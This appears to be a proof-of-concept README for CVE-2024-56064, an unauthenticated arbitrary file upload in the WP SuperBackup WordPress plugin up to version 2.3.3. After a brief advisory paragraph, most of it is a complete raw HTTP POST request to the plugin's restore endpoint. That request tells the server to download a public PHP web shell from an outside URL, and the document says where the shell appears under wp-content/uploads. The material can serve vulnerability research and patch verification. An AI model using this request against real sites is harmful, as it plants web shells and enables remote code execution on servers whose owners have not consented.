randomrobbiebf/cve-2024-56064WP SuperBackup <= 2.3.3 - Unauthenticated Arbitrary File Upload
WP SuperBackup <= 2.3.3 - Unauthenticated Arbitrary File Upload
The Super Backup & Clone - Migrate for WordPress plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 2.3.3. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Takes a while for the shell to appear.... it will appear in /wp-content/uploads/isnapshots/shell.php
POST /wp-admin/admin.php?page=ibk_admin&tab=restore HTTP/1.1
Host: kubernetes.docker.internal:8929
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal:8929/wp-admin/admin.php?page=ibk_admin&tab=restore
Content-Type: multipart/form-data; boundary=---------------------------24461452295617717774000608677
Content-Length: 688
Origin: http://kubernetes.docker.internal:8929
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
-----------------------------24461452295617717774000608677
Content-Disposition: form-data; name="ibk_restore_migrate_action"
1
-----------------------------24461452295617717774000608677
Content-Disposition: form-data; name="restore_type"
restore_url
-----------------------------24461452295617717774000608677
Content-Disposition: form-data; name="restore_url"
https://raw.githubusercontent.com/flozz/p0wny-shell/refs/heads/master/shell.php
-----------------------------24461452295617717774000608677
Content-Disposition: form-data; name="upload_file"; filename=""
Content-Type: application/octet-stream
-----------------------------24461452295617717774000608677--